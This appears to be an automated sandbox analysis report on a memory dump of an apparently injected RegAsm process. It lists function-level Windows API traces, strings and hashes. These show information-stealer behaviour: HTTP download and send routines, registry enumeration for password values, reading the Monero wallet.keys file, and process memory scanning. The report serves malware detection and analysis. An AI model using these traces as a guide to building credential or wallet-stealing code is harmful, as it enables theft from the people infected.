Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,01472898), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,014720D8,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

ERROR, xrefs: 00406407
ERROR, xrefs: 004064C9
GET, xrefs: 0040637C

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0146AAC8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 0041577D
ERROR, xrefs: 00415693
ERROR, xrefs: 00415849
ERROR, xrefs: 00415932
ERROR, xrefs: 00415636
ERROR, xrefs: 004159FE

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00418320 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,014663D8,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

?, xrefs: 0041837A
%s\%s, xrefs: 0041844D
- , xrefs: 004185A3

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,01472898), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252
a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 00401310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,014706D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

memset.MSVCRT ref: 00401516

Strings

wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$File$AllocHeapLocallstrlenmemset$CloseCreateFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 575717205-218353709
Opcode ID: 920ceed109c20ad0eedadc28e6e845eb8ad010c067c8777ac3110cf9081e0384
Instruction ID: 98afcb35e8b4020eecdd700394cba51f8c0b2a00da0c07b5769d56790f3556c8
Opcode Fuzzy Hash: 920ceed109c20ad0eedadc28e6e845eb8ad010c067c8777ac3110cf9081e0384
Instruction Fuzzy Hash: 655163B19501189BCB15FB61DD91BED733CAF54304F4041ADB60A62092EE385BDACBAA

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 00417111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 004172AE, 00417179, 0041717C

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(2D8E5020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(2D8E5020,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(2D8E5020, : ), ref: 0040765A
lstrcatA.KERNEL32(2D8E5020,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(2D8E5020,00421804), ref: 004076A0
lstrcatA.KERNEL32(2D8E5020,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(2D8E5020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
